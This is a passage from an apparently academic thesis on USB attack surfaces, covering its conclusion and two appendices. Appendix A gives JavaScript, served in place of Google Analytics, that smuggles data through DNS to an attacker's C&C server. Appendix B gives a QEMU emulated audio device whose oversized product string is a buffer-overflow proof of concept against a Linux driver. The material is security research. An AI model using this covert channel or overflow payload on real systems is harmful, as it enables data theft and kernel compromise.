Table 3.2: The communication a “Audio 2 DJ” device exchanges with a PC upon connection.

1 struct snd_pcm {

2 struct snd_card *card;

3 struct list_head list;

4 int device; /* device number */

5 unsigned int info_flags; unsigned short dev_class;

6 unsigned short dev_subclass;

7 char id[64];

8 char name[80]; // Overflowing buffer

9 struct snd_pcm_str streams[2];

10 struct mutex open_mutex;

11 wait_queue_head_t open_wait;

12 void *private_data;

13 void (*private_free) (struct snd_pcm *pcm);

14 struct device *dev;

15 /* actual hw device this belongs to */

16 #if defined(CONFIG_SND_PCM_OSS) || defined(CONFIG_SND_PCM_OSS_MODULE)

17 struct snd_pcm_oss oss;

18 #endif

19 };

Listing 2: The structure with the fixed length buffer that will be overflown
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Conclusion

Several very different issues with the current state of USB security have been found during the

analysis of known bugs and the exploration of new attack schemes. Although the issues may appear

unrelated at first glance, deeper analysis suggests only two underlying, conceptional problems. Most

issues can be traced back to one of those abstract misconceptions.

The first of those misconceptions is strongly related to one of information security’s most common

problems: misguided trust in input. A lot of the software communicating with USB devices, treats

them as a reliable, trusted communication party. This leads to omitted checks on inputs and

general behavior of the peripheral device. As a result, a lot of typical software exploitation vectors

are within reach of a malicious device.

The second class of problems arises from a falsely implied intent. When a user connects a device,

operating systems start the enumeration process to determine what kind of device it was and load

– seemingly on behalf of the user – the necessary driver. However, everything a user knows about a

device before she connects it, is what it looks like on the outside. She has never specifically stated

what kind of device she wants to connect. The operating system merely assumes that when for

example a recently connected keyboard is found, the user wanted to connect a keyboard. The user

simply can not express her intent to activate a certain kind of device by plugging something into

a USB port, because she has no way of knowing what it will identify as. As soon as the wrong

device has been activated it may do various things the user does neither expect nor want it to do.

Attempts to fix the implications of those two issues have been made but the underlying problems

have not been address so far. Solving the trust issue will be a slow process and may even require

workarounds because some drivers will never be fixed. The sheer amount of involved parties makes it

difficult and a look at the history of software security suggests it takes a long time to implement safer

programming standards. Luckily operating system and compiler developers have introduced several

measures to mitigate the effects of unsafe programming practices and are constantly improving

19
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them. Especially the exploitation of memory errors has become much more difficult than it used

to be. Unfortunately most of the countermeasures targeted user space applications; kernel space

protections have yet to catch up. This is especially important as even programmers considering

devices potentially hostile may still make programming errors. Therefore a change of perspective

takes time, does naturally not solve all problems but is nevertheless required.

Operating system vendors do, however, have one central point of intervention at their hands. That

being the kernel API for USB device drivers. It is certainly worthwhile to reconsider the API

design to encourage a more cautions handling of USB communication. It is, however, unlikely that

the API can enforce safe communication without being too restrictive.

The falsely implied intent however, can be fixed by OS developers alone. A potential fix simply

needs to make sure the user intents to connect exactly the device that has been enumerated. This

can be achieved by displaying a confirmation dialog between the enumeration and the loading of

the required driver. Such a dialog does, of course, face the difficulties every security critical user

interaction does: users are easily annoyed and confused and not always fit to make a sound decision.

Comparable examples are software-update notifications and personal firewalls. Especially the latter

have an unfortunate history of confusing users with questions they are not qualified to answer and

should not be bothered with. The delayed loading of drivers however, has the advantage of most

USB devices belonging to one of the standardized classes. Those classes and even more so their

sub-categories can be matched to very precise and understandable device descriptions.

Considering the expertise and effort necessary, at the moment USB-based attacks are most likely

a threat only relevant to targets with very valuable assets. They may become or already be a tool

used for industrial or state-sponsored espionage, but not for regular commercial computer crime.

This situation might change rapidly, depending on the further developments in the area of firmware

reprogramming. The BadUSB research by Karsten Nohl [5] has shown a way, regular malware may

use to spread via reprogrammed USB capable hardware. Depending on the USB controller in use,

most of the attacks discussed in this work can be performed by reprogrammed devices. This would

eradicate the need for custom hardware and physical presence of the attacker. Malware would then

be able to infect air-gapped devices and circumvent any protections operating on a network basis.

Further research may explore the capabilities of widely used USB controllers and microcotrollers

used in USB devices regarding their suitability as malware carriers. Since it is yet unknown whether

OS vendors - specifically Apple and Microsoft - will come forward and implement confirmation

dialogs before loading drivers, it may be interesting to explore the possibility of third party software

stepping in. Open source operating systems like Linux and FreeBSD may be a good starting point

to implement such a feature and study its practicality.
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A lot of modern notebooks incorporate always-connected USB devices like webcams or UMTS

modems. Further research could investigate the possibility of malware infecting those devices and

using them as backup infection vectors in case the original infection of the host is removed.
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Secret DNS channel

This chapter describes a secret bidirectional channel a USB device could establish to communicate

with an attacker’s server.

A.1 IN - from the attackers server to the USB device

This section describes a protocol that can be used to trasnmit data from a server to the USB device

connected to a host system.

A.1.1 Setup

The required hardware is a device capable of running Linux or Android and equipped with a USB

controller. For the rest of this subsection a Linux system is assumed but the actual communication

process is independent of the device firmware. Linux ships with the so called “Linux-USB Gadget

API Framework”, making it easy to implement various USB peripherals. It comes with support for

Ethernet-over-USB using either the CDC protocol family or RNDIS. The Linux Gadget API selects

the protocol according to the connected host system. After a connection has been successfully

established the host as well as the device have an additional network interface that can be used like

any other Ethernet device. The device now assigns its interface an IP address and starts a DNS

and a DHCP server. A simple but sufficiently powerful tool for both tasks is “dnsmasq”. It can be

configured to assign an IP address to the host and a DNS server via DHCP. It has been verified

that at least Windows 7 and recent Linux distributions prioritize the most recently assigned DNS

server for domain lookups. Therefore the host will from now on try to resolve domains via the DNS

server running on the USB device. To avoid raising suspicion it is necessary to ensure future DNS

requests will be resolved successfully. This can be achieved by a combined approach of storing a

local database of domain IP pairs and letting requests timeout to enforce fall back to the host’s

22
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203.100.2.1 example.org

Figure A.1: The general setup for transmission to the USB device

secondary DNS server. An efficient way to create such a database would be resolving all domains

on the “Alexa Top 1 Million”1 list and save the resulting domain IP pairs. If a domain is not found

in the local database the DNS server could refrain from answering the request at all. This leads to

the request timing out and the host system falling back to its original DNS server.

A.1.2 Protocol

The general setup is shown in Figure A.1. The suggested protocol relies on a user actively browsing

the web. A lot of websites make use of web tracking services to analyze user behavior. More than

50% of those use Google’s service “Google Analytics”. Typically those services require the inclusion

of a JavaScript file from the service provider’s web server. The steps as outlined in Figure A.2, wait

for the user opening a website, that uses Google Analytics. The browser will then try to load the

Google Analytics JavaScript file and will therefore issue a DNS request for googleanalytics.com.

The USB device responds with the IP of the attacker’s server and the browser will request the

JavScript file from this IP. The server then delivers a specifically crafted JavaScript file containing

the data to be transmitted encoded in domain names. An example of such a script can be seen in

1A list of the most popular domains maintained by the web tracking company Alexa
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1 window.onload = function () {

2 // The data that will be transmitted

3 //

4 var data = [’secret’,’data’,’to’,’be’,’sent’];

5

6 for(i=0; i < data.length; i++) {

7 var js = document.createElement("script");

8 js.src=’http://’+data[i]+’.packet’+i+’/packet’+i;

9 document.head.appendChild(js);

10 }

11 };

Listing 3: The JavaScript served in replace for Google Analytics

1 <head>

2 <title>Some site</title>

3 // This script is requested from the attackers server

4 // because the DNS server resolves the domain to its IP

5 <script src=’http://googleanalytics.org/analytics.js’></script>

6 // The JavaScript served by the attacker inserts the

7 // following script tags in the DOM

8 <script src=’http://secret.packet1/packet1’></script>

9 <script src=’http://data.packet2/packet2’></script>

10 <script src=’http://to.packet3/packet3’></script>

11 <script src=’http://be.packet4/packet4’></script>

12 <script src=’http://sent.packet5/packet5’></script>

13 </head>

Listing 4: The manipulated part of the DOM

Listing 3, it inserts the data encapsulated in script tags source attribute in the DOM. The resulting

DOM can be seen in Figure 4. The webbrowser will proceed with resolving the domains referenced

in the script tags and afterwards requesting the JavaScript files. Since the USB device acts as DNS

server for the host system the domain names containing the data will be sent to it. The device

can even acknowledge the successful transmission by simply replying with the attacker’s IP. This

leads to a HTTP GET request for a file called “packet{$i}” to the attacker’s server. As soon as

this request occurs the attacker knows the ith packet has reached the device.
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200.100.50.1

C&C server

192.168.0.23 — 10.0.0.1

Target

10.0.01

DNS

DNS: analytics.com, SEQ: 0

If domain is a known
tracker responds with

C&C server’s IP.

IP: 200.100.50.1, SEQ: 0

GET /analytics.js

Deliver JS, that requests URLs of
the form:

http://DATA[$n].packet$n/packet$n

analytics.js

DNS: DATA1.packet1, SEQ: 1

Received DATA[1]

IP: 200.100.50.1, SEQ: 1

DNS: DATA2.packet2, SEQ: 2

Received DATA[2]

IP: 200.100.50.2, SEQ: 2

msc DNS communication channel

Figure A.2: The steps for transmission to the USB device

A.2 OUT - from the USB device to the attackers server

A.2.1 Setup

The Setup is the same as for the IN channel (see Figure A.1).
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A.2.2 Protocol

The protocol is equivalent to the IN channel up to the delivery of the JavaScript file. The script

itself is very similar as well, but the domain names lack the data part, because the server has no

data to send. The device’s DNS server will then be asked to resolve the domains and will do so

according to the bytes it wants to send: The domain for the first byte will be resolved as a CNAME

including the Data to be send. The attackers server will then receive GET requests of the form

GET /packet{$n}. The HTTP header includes the CNAME as value of the Host field and thereby

recieve the data. An example of the device sending the string “hello” to the attackers server is

shown in Figure A.3.

200.100.50.1

C&C server

192.168.0.23 — 10.0.0.1

Target

10.0.01

DNS

DNS: analytics.com, SEQ: 0

If domain is a known
tracker respond with
C&C server’s IP.

IP: 200.100.50.1, SEQ: 0

GET /analytics.js

Deliver JS, that requests URLs of
the form:

http://packet$n/packet$n

analytics.js

DNS: packet1, SEQ: 1

Going to send
DATA[0] =

base64(“hello”)

CNAME for aGVsbG8K, SEQ: 1

DNS: aGVsbG8K, SEQ: 2

Respond with atcker
server IP

IP: 200.100.50.1, SEQ: 2

msc DNS communication channel

Figure A.3: The steps for transmission to the attackers server
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Custom USB Device for QEMU

1 /*

2 * QEMU USB Natvie Instrument Audio 2 DJ device

3 *

4 * Copyright (c) 2014 Frieder Steinmetz

5 *

6 * Permission is hereby granted, free of charge, to any person obtaining a copy

7 * of this software and associated documentation files (the "Software"), to deal

8 * in the Software without restriction, including without limitation the rights

9 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

10 * copies of the Software, and to permit persons to whom the Software is

11 * furnished to do so, subject to the following conditions:

12 *

13 * The above copyright notice and this permission notice shall be included in

14 * all copies or substantial portions of the Software.

15 *

16 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

17 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

18 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL

19 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

20 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

21 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN

22 * THE SOFTWARE.

23 */

24 #include "hw/hw.h"

25 #include "ui/console.h"

26 #include "hw/usb.h"

27
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27 #include "hw/usb/desc.h"

28 #include "qemu/timer.h"

29 #include "hw/input/hid.h"

30 #include "trace.h"

31

32 typedef struct USBHIDState {

33 USBDevice dev;

34 USBEndpoint *intr;

35 HIDState hid;

36 uint32_t usb_version;

37 char *display;

38 uint32_t head;

39 } USBHIDState;

40

41 enum {

42 STR_CONFIG_A2DJ = 0,

43 STR_MANUFACTURER,

44 STR_PRODUCT,

45 STR_CONFIG_A2DJ_PLACEHOLDER,

46 STR_CONFIG_A2DJ_2,

47 STR_SERIALNUMBER,

48 };

49

50 static bool state_sent = false;

51

52 static const USBDescStrings desc_strings = {

53 [STR_MANUFACTURER] = "Native Instruments",

54 [STR_PRODUCT] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

55 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

56 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

57 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

58 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

59 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 \

60 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x01\x41\x41\x41\x41\x41 \

61 \x41\x41\x41\x01\x41\x41\x41\x41\x41\x41",

62

63 [STR_SERIALNUMBER] = "SN-q23sdlksd",

64 [STR_CONFIG_A2DJ] = "Fullspeed",

65 [STR_CONFIG_A2DJ_2] = "Highspeed",
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66 };

67

68 static const USBDescIface ifs[] = {

69 // Alternate config 1 - only cmd endpoints

70 {

71 .bInterfaceNumber = 0,

72 .bNumEndpoints = 2,

73 .bInterfaceClass = USB_CLASS_VENDOR_SPEC,

74 .bInterfaceSubClass = USB_CLASS_VENDOR_SPEC,

75 .bInterfaceProtocol = 0x02,

76 .eps = (USBDescEndpoint[]) {

77 {

78 .bEndpointAddress = USB_DIR_IN | 0x01,

79 .bmAttributes = USB_ENDPOINT_XFER_BULK,

80 .wMaxPacketSize = 512,

81 .bInterval = 0x00,

82 },

83 {

84 .bEndpointAddress = USB_DIR_OUT | 0x01,

85 .bmAttributes = USB_ENDPOINT_XFER_BULK,

86 .wMaxPacketSize = 512,

87 .bInterval = 0x00,

88 },

89 },

90 },

91

92 // Alternate config 2 - cmd and audio data endpoints

93 {

94 .bInterfaceNumber = 0,

95 .bNumEndpoints = 4,

96 .bAlternateSetting = 1,

97 .bInterfaceClass = USB_CLASS_VENDOR_SPEC,

98 .bInterfaceSubClass = USB_CLASS_VENDOR_SPEC,

99 .bInterfaceProtocol = 0x02,

100 .eps = (USBDescEndpoint[]) {

101 {

102 .bEndpointAddress = USB_DIR_IN | 0x01,

103 .bmAttributes = USB_ENDPOINT_XFER_BULK,

104 .wMaxPacketSize = 512,



Appendix B. QEMU USB device 30

105 .bInterval = 0x00,

106 },

107 {

108 .bEndpointAddress = USB_DIR_OUT | 0x01,

109 .bmAttributes = USB_ENDPOINT_XFER_BULK,

110 .wMaxPacketSize = 512,

111 .bInterval = 0x00,

112 },

113 {

114 .bEndpointAddress = USB_DIR_IN | 0x02,

115 .bmAttributes = USB_ENDPOINT_XFER_ISOC,

116 .wMaxPacketSize = 512,

117 .bInterval = 0x01,

118 },

119 {

120 .bEndpointAddress = USB_DIR_OUT | 0x06,

121 .bmAttributes = USB_ENDPOINT_XFER_ISOC,

122 .wMaxPacketSize = 512,

123 .bInterval = 0x01,

124 },

125 },

126 },

127 };

128

129 static const USBDescDevice desc_device = {

130 .bcdUSB = 0x0200,

131 .bMaxPacketSize0 = 64,

132 .bNumConfigurations = 1,

133 .bDeviceClass = USB_CLASS_VENDOR_SPEC,

134 .bDeviceSubClass = USB_CLASS_VENDOR_SPEC,

135 .bDeviceProtocol = USB_CLASS_VENDOR_SPEC,

136 .confs = (USBDescConfig[]) {

137 {

138 .bNumInterfaces = 1,

139 .bConfigurationValue = 1,

140 .iConfiguration = STR_CONFIG_A2DJ,

141 .bmAttributes = USB_CFG_ATT_ONE,

142 .bMaxPower = 135,

143 .nif = 2,



Appendix B. QEMU USB device 31

144 .ifs = ifs,

145 },

146 },

147 };

148

149

150

151 static const USBDescMSOS desc_msos_suspend = {

152 .SelectiveSuspendEnabled = true,

153 };

154

155 static const USBDesc desc_a2dj = {

156 .id = {

157 .idVendor = 0x17cc,

158 .idProduct = 0x041c,

159 .bcdDevice = 0x0002,

160 .iManufacturer = STR_MANUFACTURER,

161 .iProduct = STR_PRODUCT,

162 .iSerialNumber = STR_SERIALNUMBER,

163 },

164 .full = &desc_device,

165 .str = desc_strings,

166 };

167

168 static void usb_a2dj_handle_reset(USBDevice *dev)

169 {

170 ;

171 }

172

173 static void usb_a2dj_handle_control(USBDevice *dev, USBPacket *p,

174 int request, int value, int index, int length, uint8_t *data)

175 {

176 usb_desc_handle_control(dev, p, request, value, index, length, data);

177

178 return;

179 }

180

181 static void usb_a2dj_handle_data(USBDevice *dev, USBPacket *p)

182 {
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183 uint8_t buf[p->iov.size];

184 uint8_t buf2[] = {0x01,0x02,0x00,0x02,0x00,0x00,0x00,

185 0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x02};

186 int len, len2;

187 len = sizeof(buf);

188 len2 = sizeof(buf2);

189

190 switch (p->pid) {

191 case USB_TOKEN_IN:

192 if (p->ep->nr == 1) {

193 if(!state_sent) {

194 state_sent = true;

195 usb_packet_copy(p, buf2, len2);

196 }

197 } else {

198 goto fail;

199 }

200 break;

201 case USB_TOKEN_OUT:

202 if (p->ep->nr == 1) {

203 usb_packet_copy(p, buf, len);

204 ;

205 } else {

206 goto fail;

207 }

208 break;

209 default:

210 fail:

211 p->status = USB_RET_STALL;

212 break;

213 }

214 }

215

216 static void usb_a2dj_handle_destroy(USBDevice *dev)

217 {

218 ;

219 }

220

221 static int usb_a2dj_initfn(USBDevice *dev)
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222 {

223 USBHIDState *us = DO_UPCAST(USBHIDState, dev, dev);

224

225 if (dev->serial) {

226 usb_desc_set_string(dev, STR_SERIALNUMBER, dev->serial);

227 }

228 usb_desc_init(dev);

229 us->intr = usb_ep_get(dev, USB_TOKEN_IN, 1);

230 return 0;

231 }

232

233 static Property usb_a2dj_properties[] = {

234 DEFINE_PROP_UINT32("usb_version", USBHIDState, usb_version, 2),

235 DEFINE_PROP_STRING("display", USBHIDState, display),

236 DEFINE_PROP_UINT32("head", USBHIDState, head, 0),

237 DEFINE_PROP_END_OF_LIST(),

238 };

239

240 static const VMStateDescription vmstate_usb_a2dj = {

241 .name = "usb-a2dj",

242 .version_id = 1,

243 .minimum_version_id = 1,

244 .fields = (VMStateField[]) {

245 VMSTATE_USB_DEVICE(dev, USBHIDState),

246 VMSTATE_HID_POINTER_DEVICE(hid, USBHIDState),

247 VMSTATE_END_OF_LIST()

248 }

249 };

250

251 static void usb_a2dj_class_initfn(ObjectClass *klass, void *data)

252 {

253 DeviceClass *dc = DEVICE_CLASS(klass);

254 USBDeviceClass *uc = USB_DEVICE_CLASS(klass);

255

256 uc->handle_reset = usb_a2dj_handle_reset;

257 uc->handle_control = usb_a2dj_handle_control;

258 uc->handle_data = usb_a2dj_handle_data;

259 uc->handle_destroy = usb_a2dj_handle_destroy;

260 uc->handle_attach = usb_desc_attach;
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261

262 uc->init = usb_a2dj_initfn;

263 uc->product_desc = "Audio 2 DJ";

264 uc->usb_desc = &desc_a2dj;

265 dc->vmsd = &vmstate_usb_a2dj;

266 dc->props = usb_a2dj_properties;

267 set_bit(DEVICE_CATEGORY_INPUT, dc->categories);

268 }

269

270 static const TypeInfo usb_a2dj_info = {

271 .name = "usb-a2dj",

272 .parent = TYPE_USB_DEVICE,

273 .instance_size = sizeof(USBHIDState),

274 .class_init = usb_a2dj_class_initfn,

275 };

276

277 static void usb_a2dj_register_types(void)

278 {

279 type_register_static(&usb_a2dj_info);

280 usb_legacy_register("usb-a2dj", "a2dj", NULL);

281 }

282

283 type_init(usb_a2dj_register_types)



Bibliography

[1] USB Implementers Forum Inc. Universal serial bus revision 3.1 specification, July 2013. URL

https//www.usb.org/developers/docs/usb_31_121314.zip.

[2] Jan Axelson. USB Complete Fourth Edition : The Developer’s Guide (Complete Guides se-

ries). Lakeview Research, fourth edition, fourth edition edition, 6 2009. ISBN 9781931448086.

URL https//amazon.com/o/ASIN/1931448086/.

[3] HAK5. Usb rubber ducky - the original keystroke injection tool, November 2014. URL

https//www.usbrubberducky.com.

[4] Travis Goodspeed. Writing a thumbdrive from scratch, December 2012. URL https//events.

ccc.de/congress/2012/Fahrplan/events/5327.en.html.

[5] Karsten Nohl. Badusb, 2014. URL https://srlabs.de/badusb/.

[6] Dieter Gollmann. Computer Security. John Wiley & Sons, 3. auflage edition, 12 2010. ISBN

9780470741153.

[7] US-CERT/NIST. Uncontrolled format string wu-ftpd 2.6.0, 2000. URL https://cve.mitre.

org/cgi-bin/cvename.cgi?name=CVE-2000-0573.

[8] Kees Cook. Cve 2012-2118: Xorg input device format string flaw, April 2012. URL https:

//cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2118.

[9] Andy Davis. Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack In-

teractions. 2012 BlackHat USA 2013, July 2010. URL https://www.nccgroup.com/media/

481058/revealing_embedded_fingerprints_whitepaper_final_august_2013.pdf.

[10] NIST. Manual analysis of cves, February 2015. URL http://web.nvd.nist.gov/view/vuln/

search-results?query=USB&search_type=all&cves=on.

[11] Moritz Jodeit and Martin Johns. USB Device Drivers: A Stepping Stone into Your

Kernel. 2010 European Conference on Computer Network Defense, October 2010. doi:

10.1109/EC2ND.2010.16. URL https//ieeexplore.ieee.org/lpdocs/epic03/wrapper.

htm?arnumber=5663316.

35

https//www.usb.org/developers/docs/usb_31_121314.zip
https//amazon.com/o/ASIN/1931448086/
https//www.usbrubberducky.com
https//events.ccc.de/congress/2012/Fahrplan/events/5327.en.html
https//events.ccc.de/congress/2012/Fahrplan/events/5327.en.html
https://srlabs.de/badusb/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0573
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0573
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2118
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2118
https://www.nccgroup.com/media/481058/revealing_embedded_fingerprints_whitepaper_final_august_2013.pdf
https://www.nccgroup.com/media/481058/revealing_embedded_fingerprints_whitepaper_final_august_2013.pdf
http://web.nvd.nist.gov/view/vuln/search-results?query=USB&search_type=all&cves=on
http://web.nvd.nist.gov/view/vuln/search-results?query=USB&search_type=all&cves=on
https//ieeexplore.ieee.org/lpdocs/epic03/wrapper.htm?arnumber=5663316
https//ieeexplore.ieee.org/lpdocs/epic03/wrapper.htm?arnumber=5663316


Bibliography 36

[12] Travis Goodspeed. Facedancer, 2012. URL https//goodfet.sourceforge.net/hardware/

facedancer21/.

[13] NCC Group. umap.py - what does umap do?, February 2015.

URL https://github.com/nccgroup/umap/wiki/umap-documentation/

61146cd706201ed714dbfa5a137afea562f86670.

[14] Inversepath. Usb armory - a flash drive sized computer, November 2014. URL https/

/inversepath.com/usbarmory.

[15] Advisor Carlos Cid, Ph. D, and Jon Mark Allen. Os and application fingerprinting tech-

niques, 2007. URL https://www.sans.org/reading-room/whitepapers/authentication/

os-application-fingerprinting-techniques-32923.

https//goodfet.sourceforge.net/hardware/facedancer21/
https//goodfet.sourceforge.net/hardware/facedancer21/
https://github.com/nccgroup/umap/wiki/umap-documentation/61146cd706201ed714dbfa5a137afea562f86670
https://github.com/nccgroup/umap/wiki/umap-documentation/61146cd706201ed714dbfa5a137afea562f86670
https//inversepath.com/usbarmory
https//inversepath.com/usbarmory
https://www.sans.org/reading-room/whitepapers/authentication/os-application-fingerprinting-techniques-32923
https://www.sans.org/reading-room/whitepapers/authentication/os-application-fingerprinting-techniques-32923

	Declaration of Authorship
	Abstract
	Contents
	List of Figures
	List of Tables
	1 USB
	1.1 System design
	1.1.1 Topology
	1.1.2 Enumeration
	1.1.3 Descriptors

	1.2 Who Is Using the Bus?

	2 State of the Art
	2.1 Deceptive behavior
	2.1.1 Human Interface Device
	2.1.2 Mass Storage
	2.1.3 Network Device

	2.2 Software exploitation
	2.2.1 Buffer overruns
	2.2.2 Uncontrolled format strings

	2.3 BadUsb
	2.4 Operating System Fingerprinting
	2.5 Finding bugs
	2.5.1 Static analysis
	2.5.2 Fuzz testing
	2.5.3 Testing setups
	2.5.3.1 QEMU
	2.5.3.2 Hardware
	The Facedancer
	umap.py




	3 Approach
	3.1 Deceptive behavior
	3.1.1 Human Interface Device
	3.1.2 Printer
	3.1.3 Network Device
	3.1.4 Sophisticated attacks with composite devices
	3.1.5 OS fingerprinting

	3.2 Software exploitation
	3.2.1 Memory Errors


	4 Conclusion
	A Secret DNS channel
	A.1 IN - from the attackers server to the USB device
	A.1.1 Setup
	A.1.2 Protocol

	A.2 OUT - from the USB device to the attackers server
	A.2.1 Setup
	A.2.2 Protocol


	B Custom USB Device for QEMU
	Bibliography

